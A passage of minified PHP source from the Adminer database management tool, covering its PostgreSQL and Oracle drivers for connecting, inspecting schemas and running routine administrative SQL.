select_db($k){global$b;if($k==$b->database())return$this->_database;$J=@pg_connect("$this->_string dbname='".addcslashes($k,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($J)$this->_link=$J;return$J;}function
close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function
query($H,$wi=false){$I=@pg_query($this->_link,$H);$this->error="";if(!$I){$this->error=pg_last_error($this->_link);return
false;}elseif(!pg_num_fields($I)){$this->affected_rows=pg_affected_rows($I);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$p=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
pg_fetch_result($I->_result,0,$p);}function
warnings(){return
h(pg_last_notice($this->_link));}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;$this->num_rows=pg_num_rows($I);}function
fetch_assoc(){return
pg_fetch_assoc($this->_result);}function
fetch_row(){return
pg_fetch_row($this->_result);}function
fetch_field(){$d=$this->_offset++;$J=new
stdClass;if(function_exists('pg_field_table'))$J->orgtable=pg_field_table($this->_result,$d);$J->name=pg_field_name($this->_result,$d);$J->orgname=$J->name;$J->type=pg_field_type($this->_result,$d);$J->charsetnr=($J->type=="bytea"?63:0);return$J;}function
__destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_PgSQL";function
connect($O,$V,$G){global$b;$m=$b->database();$Q="pgsql:host='".str_replace(":","' port='",addcslashes($O,"'\\"))."' options='-c client_encoding=utf8'";$this->dsn("$Q dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",$V,$G);return
true;}function
select_db($k){global$b;return($b->database()==$k);}function
value($X,$p){return$X;}function
quoteBinary($Rg){return
q($Rg);}function
warnings(){return'';}function
close(){}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$L,$dg){global$g;foreach($L
as$P){$Ci=array();$Z=array();foreach($P
as$z=>$X){$Ci[]="$z = $X";if(isset($dg[idf_unescape($z)]))$Z[]="$z = $X";}if(!(($Z&&queries("UPDATE ".table($R)." SET ".implode(", ",$Ci)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($P)).") VALUES (".implode(", ",$P).")")))return
false;}return
true;}function
convertSearch($v,$X,$p){return(preg_match('~char|text'.(is_numeric($X["val"])&&!preg_match('~LIKE~',$X["op"])?'|'.number_type():'').'~',$p["type"])?$v:"CAST($v AS text)");}function
value($X,$p){return$this->_conn->value($X,$p);}function
quoteBinary($Rg){return$this->_conn->quoteBinary($Rg);}function
warnings(){return$this->_conn->warnings();}function
tableHelp($D){$se=array("information_schema"=>"infoschema","pg_catalog"=>"catalog",);$A=$se[$_GET["ns"]];if($A)return"$A-".str_replace("_","-",$D).".html";}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b,$vi,$_h;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2])){if(min_version(9,0,$g)){$g->query("SET application_name = 'Adminer'");if(min_version(9.2,0,$g)){$_h[lang(23)][]="json";$vi["json"]=4294967295;if(min_version(9.4,0,$g)){$_h[lang(23)][]="jsonb";$vi["jsonb"]=4294967295;}}}return$g;}return$g->error;}function
get_databases(){return
get_vals("SELECT datname FROM pg_database WHERE has_database_privilege(datname, 'CONNECT') ORDER BY datname");}function
limit($H,$Z,$_,$E=0,$N=" "){return" $H$Z".($_!==null?$N."LIMIT $_".($E?" OFFSET $E":""):"");}function
limit1($R,$H,$Z,$N="\n"){return(preg_match('~^INTO~',$H)?limit($H,$Z,1,0,$N):" $H WHERE ctid = (SELECT ctid FROM ".table($R).$Z.$N."LIMIT 1)");}function
db_collation($m,$qb){global$g;return$g->result("SHOW LC_COLLATE");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT user");}function
tables_list(){$H="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support('materializedview'))$H.="
UNION ALL
SELECT matviewname, 'MATERIALIZED VIEW'
FROM pg_matviews
WHERE schemaname = current_schema()";$H.="
ORDER BY 1";return
get_key_vals($H);}function
count_tables($l){return
array();}function
table_status($D=""){$J=array();foreach(get_rows("SELECT c.relname AS \"Name\", CASE c.relkind WHEN 'r' THEN 'table' WHEN 'm' THEN 'materialized view' ELSE 'view' END AS \"Engine\", pg_relation_size(c.oid) AS \"Data_length\", pg_total_relation_size(c.oid) - pg_relation_size(c.oid) AS \"Index_length\", obj_description(c.oid, 'pg_class') AS \"Comment\", CASE WHEN c.relhasoids THEN 'oid' ELSE '' END AS \"Oid\", c.reltuples as \"Rows\", n.nspname
FROM pg_class c
JOIN pg_namespace n ON(n.nspname = current_schema() AND n.oid = c.relnamespace)
WHERE relkind IN ('r', 'm', 'v', 'f')
".($D!=""?"AND relname = ".q($D):"ORDER BY relname"))as$K)$J[$K["Name"]]=$K;return($D!=""?$J[$D]:$J);}function
is_view($S){return
in_array($S["Engine"],array("view","materialized view"));}function
fk_support($S){return
true;}function
fields($R){$J=array();$Da=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, d.adsrc AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment
FROM pg_class c
JOIN pg_namespace n ON c.relnamespace = n.oid
JOIN pg_attribute a ON c.oid = a.attrelid
LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum
WHERE c.relname = ".q($R)."
AND n.nspname = current_schema()
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$K){preg_match('~([^([]+)(\((.*)\))?([a-z ]+)?((\[[0-9]*])*)$~',$K["full_type"],$C);list(,$U,$pe,$K["length"],$xa,$Ga)=$C;$K["length"].=$Ga;$eb=$U.$xa;if(isset($Da[$eb])){$K["type"]=$Da[$eb];$K["full_type"]=$K["type"].$pe.$Ga;}else{$K["type"]=$U;$K["full_type"]=$K["type"].$pe.$xa.$Ga;}$K["null"]=!$K["attnotnull"];$K["auto_increment"]=preg_match('~^nextval\\(~i',$K["default"]);$K["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^)]+(.*)~',$K["default"],$C))$K["default"]=($C[1]=="NULL"?null:(($C[1][0]=="'"?idf_unescape($C[1]):$C[1]).$C[2]));$J[$K["field"]]=$K;}return$J;}function
indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$Ih=$h->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($R));$e=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $Ih AND attnum > 0",$h);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption , (indpred IS NOT NULL)::int as indispartial FROM pg_index i, pg_class ci WHERE i.indrelid = $Ih AND ci.oid = i.indexrelid",$h)as$K){$Bg=$K["relname"];$J[$Bg]["type"]=($K["indispartial"]?"INDEX":($K["indisprimary"]?"PRIMARY":($K["indisunique"]?"UNIQUE":"INDEX")));$J[$Bg]["columns"]=array();foreach(explode(" ",$K["indkey"])as$Id)$J[$Bg]["columns"][]=$e[$Id];$J[$Bg]["descs"]=array();foreach(explode(" ",$K["indoption"])as$Jd)$J[$Bg]["descs"][]=($Jd&1?'1':null);$J[$Bg]["lengths"]=array();}return$J;}function
foreign_keys($R){global$jf;$J=array();foreach(get_rows("SELECT conname, condeferrable::int AS deferrable, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($R)." AND pn.nspname = current_schema())
AND contype = 'f'::char
ORDER BY conkey, conname")as$K){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$K['definition'],$C)){$K['source']=array_map('trim',explode(',',$C[1]));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$C[2],$ye)){$K['ns']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$ye[2]));$K['table']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$ye[4]));}$K['target']=array_map('trim',explode(',',$C[3]));$K['on_delete']=(preg_match("~ON DELETE ($jf)~",$C[4],$ye)?$ye[1]:'NO ACTION');$K['on_update']=(preg_match("~ON UPDATE ($jf)~",$C[4],$ye)?$ye[1]:'NO ACTION');$J[$K['conname']]=$K;}}return$J;}function
view($D){global$g;return
array("select"=>trim($g->result("SELECT view_definition
FROM information_schema.views
WHERE table_schema = current_schema() AND table_name = ".q($D))));}function
collations(){return
array();}function
information_schema($m){return($m=="information_schema");}function
error(){global$g;$J=h($g->error);if(preg_match('~^(.*\\n)?([^\\n]*)\\n( *)\\^(\\n.*)?$~s',$J,$C))$J=$C[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($C[3]).'})(.*)~','\\1<b>\\2</b>',$C[2]).$C[4];return
nl_br($J);}function
create_database($m,$pb){return
queries("CREATE DATABASE ".idf_escape($m).($pb?" ENCODING ".idf_escape($pb):""));}function
drop_databases($l){global$g;$g->close();return
apply_queries("DROP DATABASE",$l,'idf_escape');}function
rename_database($D,$pb){return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($D));}function
auto_increment(){return"";}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){$c=array();$og=array();foreach($q
as$p){$d=idf_escape($p[0]);$X=$p[1];if(!$X)$c[]="DROP $d";else{$Mi=$X[5];unset($X[5]);if(isset($X[6])&&$p[0]=="")$X[1]=($X[1]=="bigint"?" big":" ")."serial";if($p[0]=="")$c[]=($R!=""?"ADD ":"  ").implode($X);else{if($d!=$X[0])$og[]="ALTER TABLE ".table($R)." RENAME $d TO $X[0]";$c[]="ALTER $d TYPE$X[1]";if(!$X[6]){$c[]="ALTER $d ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $d ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($p[0]!=""||$Mi!="")$og[]="COMMENT ON COLUMN ".table($R).".$X[0] IS ".($Mi!=""?substr($Mi,9):"''");}}$c=array_merge($c,$bd);if($R=="")array_unshift($og,"CREATE TABLE ".table($D)." (\n".implode(",\n",$c)."\n)");elseif($c)array_unshift($og,"ALTER TABLE ".table($R)."\n".implode(",\n",$c));if($R!=""&&$R!=$D)$og[]="ALTER TABLE ".table($R)." RENAME TO ".table($D);if($R!=""||$vb!="")$og[]="COMMENT ON TABLE ".table($D)." IS ".q($vb);if($Ma!=""){}foreach($og
as$H){if(!queries($H))return
false;}return
true;}function
alter_indexes($R,$c){$i=array();$fc=array();$og=array();foreach($c
as$X){if($X[0]!="INDEX")$i[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$fc[]=idf_escape($X[1]);else$og[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R)." (".implode(", ",$X[2]).")";}if($i)array_unshift($og,"ALTER TABLE ".table($R).implode(",",$i));if($fc)array_unshift($og,"DROP INDEX ".implode(", ",$fc));foreach($og
as$H){if(!queries($H))return
false;}return
true;}function
truncate_tables($T){return
queries("TRUNCATE ".implode(", ",array_map('table',$T)));return
true;}function
drop_views($Si){return
drop_tables($Si);}function
drop_tables($T){foreach($T
as$R){$xh=table_status($R);if(!queries("DROP ".strtoupper($xh["Engine"])." ".table($R)))return
false;}return
true;}function
move_tables($T,$Si,$Ph){foreach(array_merge($T,$Si)as$R){$xh=table_status($R);if(!queries("ALTER ".strtoupper($xh["Engine"])." ".table($R)." SET SCHEMA ".idf_escape($Ph)))return
false;}return
true;}function
trigger($D,$R=null){if($D=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");if($R===null)$R=$_GET['trigger'];$L=get_rows('SELECT t.trigger_name AS "Trigger", t.action_timing AS "Timing", (SELECT STRING_AGG(event_manipulation, \' OR \') FROM information_schema.triggers WHERE event_object_table = t.event_object_table AND trigger_name = t.trigger_name ) AS "Events", t.event_manipulation AS "Event", \'FOR EACH \' || t.action_orientation AS "Type", t.action_statement AS "Statement" FROM information_schema.triggers t WHERE t.event_object_table = '.q($R).' AND t.trigger_name = '.q($D));return
reset($L);}function
triggers($R){$J=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE event_object_table = ".q($R))as$K)$J[$K["trigger_name"]]=array($K["action_timing"],$K["event_manipulation"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routine($D,$U){$L=get_rows('SELECT routine_definition AS definition, LOWER(external_language) AS language, *
FROM information_schema.routines
WHERE routine_schema = current_schema() AND specific_name = '.q($D));$J=$L[0];$J["returns"]=array("type"=>$J["type_udt_name"]);$J["fields"]=get_rows('SELECT parameter_name AS field, data_type AS type, character_maximum_length AS length, parameter_mode AS inout
FROM information_schema.parameters
WHERE specific_schema = current_schema() AND specific_name = '.q($D).'
ORDER BY ordinal_position');return$J;}function
routines(){return
get_rows('SELECT specific_name AS "SPECIFIC_NAME", routine_type AS "ROUTINE_TYPE", routine_name AS "ROUTINE_NAME", type_udt_name AS "DTD_IDENTIFIER"
FROM information_schema.routines
WHERE routine_schema = current_schema()
ORDER BY SPECIFIC_NAME');}function
routine_languages(){return
get_vals("SELECT LOWER(lanname) FROM pg_catalog.pg_language");}function
routine_id($D,$K){$J=array();foreach($K["fields"]as$p)$J[]=$p["type"];return
idf_escape($D)."(".implode(", ",$J).")";}function
last_id(){return
0;}function
explain($g,$H){return$g->query("EXPLAIN $H");}function
found_rows($S,$Z){global$g;if(preg_match("~ rows=([0-9]+)~",$g->result("EXPLAIN SELECT * FROM ".idf_escape($S["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$Ag))return$Ag[1];return
false;}function
types(){return
get_vals("SELECT typname
FROM pg_type
WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
AND typtype IN ('b','d','e')
AND typelem = 0");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){global$g;return$g->result("SELECT current_schema()");}function
set_schema($Tg){global$g,$vi,$_h;$J=$g->query("SET search_path TO ".idf_escape($Tg));foreach(types()as$U){if(!isset($vi[$U])){$vi[$U]=0;$_h[lang(24)][]=$U;}}return$J;}function
create_sql($R,$Ma,$Ah){global$g;$J='';$Jg=array();$dh=array();$xh=table_status($R);$q=fields($R);$x=indexes($R);ksort($x);$Zc=foreign_keys($R);ksort($Zc);if(!$xh||empty($q))return
false;$J="CREATE TABLE ".idf_escape($xh['nspname']).".".idf_escape($xh['Name'])." (\n    ";foreach($q
as$Rc=>$p){$Kf=idf_escape($p['field']).' '.$p['full_type'].default_value($p).($p['attnotnull']?" NOT NULL":"");$Jg[]=$Kf;if(preg_match('~nextval\(\'([^\']+)\'\)~',$p['default'],$ze)){$ch=$ze[1];$ph=reset(get_rows(min_version(10)?"SELECT *, cache_size AS cache_value FROM pg_sequences WHERE schemaname = current_schema() AND sequencename = ".q($ch):"SELECT * FROM $ch"));$dh[]=($Ah=="DROP+CREATE"?"DROP SEQUENCE IF EXISTS $ch;\n":"")."CREATE SEQUENCE $ch INCREMENT $ph[increment_by] MINVALUE $ph[min_value] MAXVALUE $ph[max_value] START ".($Ma?$ph['last_value']:1)." CACHE $ph[cache_value];";}}if(!empty($dh))$J=implode("\n\n",$dh)."\n\n$J";foreach($x
as$Dd=>$w){switch($w['type']){case'UNIQUE':$Jg[]="CONSTRAINT ".idf_escape($Dd)." UNIQUE (".implode(', ',array_map('idf_escape',$w['columns'])).")";break;case'PRIMARY':$Jg[]="CONSTRAINT ".idf_escape($Dd)." PRIMARY KEY (".implode(', ',array_map('idf_escape',$w['columns'])).")";break;}}foreach($Zc
as$Yc=>$Xc)$Jg[]="CONSTRAINT ".idf_escape($Yc)." $Xc[definition] ".($Xc['deferrable']?'DEFERRABLE':'NOT DEFERRABLE');$J.=implode(",\n    ",$Jg)."\n) WITH (oids = ".($xh['Oid']?'true':'false').");";foreach($x
as$Dd=>$w){if($w['type']=='INDEX')$J.="\n\nCREATE INDEX ".idf_escape($Dd)." ON ".idf_escape($xh['nspname']).".".idf_escape($xh['Name'])." USING btree (".implode(', ',array_map('idf_escape',$w['columns'])).");";}if($xh['Comment'])$J.="\n\nCOMMENT ON TABLE ".idf_escape($xh['nspname']).".".idf_escape($xh['Name'])." IS ".q($xh['Comment']).";";foreach($q
as$Rc=>$p){if($p['comment'])$J.="\n\nCOMMENT ON COLUMN ".idf_escape($xh['nspname']).".".idf_escape($xh['Name']).".".idf_escape($Rc)." IS ".q($p['comment']).";";}return
rtrim($J,';');}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
trigger_sql($R){$xh=table_status($R);$J="";foreach(triggers($R)as$oi=>$ni){$pi=trigger($oi,$xh['Name']);$J.="\nCREATE TRIGGER ".idf_escape($pi['Trigger'])." $pi[Timing] $pi[Events] ON ".idf_escape($xh["nspname"]).".".idf_escape($xh['Name'])." $pi[Type] $pi[Statement];;\n";}return$J;}function
use_sql($k){return"\connect ".idf_escape($k);}function
show_variables(){return
get_key_vals("SHOW ALL");}function
process_list(){return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".(min_version(9.2)?"pid":"procpid"));}function
show_status(){}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
support($Pc){return
preg_match('~^(database|table|columns|sql|indexes|comment|view|'.(min_version(9.3)?'materializedview|':'').'scheme|routine|processlist|sequence|trigger|type|variables|drop_col|kill|dump)$~',$Pc);}function
kill_process($X){return
queries("SELECT pg_terminate_backend(".number($X).")");}function
connection_id(){return"SELECT pg_backend_pid()";}function
max_connections(){global$g;return$g->result("SHOW max_connections");}$y="pgsql";$vi=array();$_h=array();foreach(array(lang(25)=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),lang(26)=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),lang(23)=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),lang(27)=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),lang(28)=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),lang(29)=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$z=>$X){$vi+=$X;$_h[$z]=array_keys($X);}$Bi=array();$of=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$jd=array("char_length","lower","round","to_hex","to_timestamp","upper");$pd=array("avg","count","count distinct","max","min","sum");$mc=array(array("char"=>"md5","date|time"=>"now",),array(number_type()=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",));}$ec["oracle"]="Oracle (beta)";if(isset($_GET["oracle"])){$ag=array("OCI8","PDO_OCI");define("DRIVER","oracle");if(extension_loaded("oci8")){class
Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_error($xc,$o){if(ini_bool("html_errors"))$o=html_entity_decode(strip_tags($o));$o=preg_replace('~^[^:]*: ~','',$o);$this->error=$o;}function
connect($O,$V,$G){$this->_link=@oci_new_connect($V,$G,$O,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return
true;}$o=oci_error();$this->error=$o["message"];return
false;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($k){return
true;}function
query($H,$wi=false){$I=oci_parse($this->_link,$H);$this->error="";if(!$I){$o=oci_error($this->_link);$this->errno=$o["code"];$this->error=$o["message"];return
false;}set_error_handler(array($this,'_error'));$J=@oci_execute($I);restore_error_handler();if($J){if(oci_num_fields($I))return
new
Min_Result($I);$this->affected_rows=oci_num_rows($I);}return$J;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$p=1){$I=$this->query($H);if(!is_object($I)||!oci_fetch($I->_result))return
false;return
oci_result($I->_result,$p);}}class
Min_Result{var$_result,$_offset=1,$num_rows;function
__construct($I){$this->_result=$I;}function
_convert($K){foreach((array)$K
as$z=>$X){if(is_a($X,'OCI-Lob'))$K[$z]=$X->load();}return$K;}function
fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function
fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function
fetch_field(){$d=$this->_offset++;$J=new
stdClass;$J->name=oci_field_name($this->_result,$d);$J->orgname=$J->name;$J->type=oci_field_type($this->_result,$d);$J->charsetnr=(preg_match("~raw|blob|bfile~",$J->type)?63:0);return$J;}function
__destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class
Min_DB
extends
Min_PDO{var$extension="PDO_OCI";function
connect($O,$V,$G){$this->dsn("oci:dbname=//$O;charset=AL32UTF8",$V,$G);return
true;}function
select_db($k){return
true;}}}class
Min_Driver
extends
Min_SQL{function
begin(){return
true;}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT tablespace_name FROM user_tablespaces");}function
limit($H,$Z,$_,$E=0,$N=" "){return($E?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $H$Z) t WHERE rownum <= ".($_+$E).") WHERE rnum > $E":($_!==null?" * FROM (SELECT $H$Z) WHERE rownum <= ".($_+$E):" $H$Z"));}function
limit1($R,$H,$Z,$N="\n"){return" $H$Z";}function
db_collation($m,$qb){global$g;return$g->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT USER FROM DUAL");}function
tables_list(){return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."
UNION SELECT view_name, 'view' FROM user_views
ORDER BY 1");}function
count_tables($l){return
array();}function
table_status($D=""){$J=array();$Vg=q($D);foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q(DB).($D!=""?" AND table_name = $Vg":"")."
UNION SELECT view_name, 'view', 0, 0 FROM user_views".($D!=""?" WHERE view_name = $Vg":"")."
ORDER BY 1")as$K){if($D!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($S){return$S["Engine"]=="view";}function
fk_support($S){return
true;}function
fields($R){$J=array();foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($R)." ORDER BY column_id")as$K){$U=$K["DATA_TYPE"];$pe="$K[DATA_PRECISION],$K[DATA_SCALE]";if($pe==",")$pe=$K["DATA_LENGTH"];$J[$K["COLUMN_NAME"]]=array("field"=>$K["COLUMN_NAME"],"full_type"=>$U.($pe?"($pe)":""),"type"=>strtolower($U),"length"=>$pe,"default"=>$K["DATA_DEFAULT"],"null"=>($K["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$J;}function
indexes($R,$h=null){$J=array();foreach(get_rows("SELECT uic.*, uc.constraint_type
FROM user_ind_columns uic
LEFT JOIN user_constraints uc ON uic.index_name = uc.constraint_name AND uic.table_name = uc.table_name
WHERE uic.table_name = ".q($R)."
ORDER BY uc.constraint_type, uic.column_position",$h)as$K){$Dd=$K["INDEX_NAME"];$J[$Dd]["type"]=($K["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($K["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$J[$Dd]["columns"][]=$K["COLUMN_NAME"];$J[$Dd]["lengths"][]=($K["CHAR_LENGTH"]&&$K["CHAR_LENGTH"]!=$K["COLUMN_LENGTH"]?$K["CHAR_LENGTH"]:null);$J[$Dd]["descs"][]=($K["DESCEND"]?'1':null);}return$J;}function
view($D){$L=get_rows('SELECT text "select" FROM user_views WHERE view_name = '.q($D));return
reset($L);}function
collations(){return
array();}function
information_schema($m){return
false;}function
error(){global$g;return
h($g->error);}function
explain($g,$H){$g->query("EXPLAIN PLAN FOR $H");return$g->query("SELECT * FROM plan_table");}function
found_rows($S,$Z){}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){$c=$fc=array();foreach($q
as$p){$X=$p[1];if($X&&$p[0]!=""&&idf_escape($p[0])!=$X[0])queries("ALTER TABLE ".table($R)." RENAME COLUMN ".idf_escape($p[0])." TO $X[0]");if($X)$c[]=($R!=""?($p[0]!=""?"MODIFY (":"ADD ("):"  ").implode($X).($R!=""?")":"");else$fc[]=idf_escape($p[0]);}if($R=="")return
queries("CREATE TABLE ".table($D)." (\n".implode(",\n",$c)."\n)");return(!$c||queries("ALTER TABLE ".table($R)."\n".implode("\n",$c)))&&(!$fc||queries("ALTER TABLE ".table($R)." DROP (".implode(", ",$fc).")"))&&($R==$D||queries("ALTER TABLE ".table($R)." RENAME TO ".table($D)));}function
foreign_keys($R){$J=array();$H="SELECT c_list.CONSTRAINT_NAME as NAME,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.OWNER as DEST_DB,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN,
c_list.DELETE_RULE as ON_DELETE
FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
AND c_src.TABLE_NAME = ".q($R);foreach(get_rows($H)as$K)$J[$K['NAME']]=array("db"=>$K['DEST_DB'],"table"=>$K['DEST_TABLE'],"source"=>array($K['SRC_COLUMN']),"target"=>array($K['DEST_COLUMN']),"on_delete"=>$K['ON_DELETE'],"on_update"=>null,);return$J;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($Si){return
apply_queries("DROP VIEW",$Si);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
last_id(){return
0;}function
schemas(){return
get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX'))");}function
get_schema(){global$g;return$g->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($Ug){global$g;return$g->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($Ug));}function
show_variables(){return
get_key_vals('SELECT name, display_value FROM v$parameter');}function
process_list(){return
get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = \'USER\'
ORDER BY PROCESS
');}function
show_status(){$L=get_rows('SELECT * FROM v$instance');return
reset($L);}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
support($Pc){return
preg_match('~^(columns|database|drop_col|indexes|processlist|scheme|sql|status|table|variables|view|view_trigger)$~',$Pc);}$y="oracle";$vi=array();$_h=array();foreach(array(lang(25)=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),lang(26)=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),lang(23)=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),lang(27)=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$z=>$X){$vi+=$X;$_h[$z]=array_keys($X);}$Bi=array();$of=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$jd=array("length","lower","round","upper");$pd=array("avg","count","count distinct","max","min","sum");$mc=array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",));}$ec["mssql"]="MS SQL (beta)";if(isset($_GET["mssql"])){$ag=array("SQLSRV","MSSQL","PDO_DBLIB");define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class
Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_get_error(){$this->error="";foreach(sqlsrv_errors()as$o){$this->errno=$o["code"];$this->error.="$o[message]\n";}$this->error=rtrim($this->error);}function
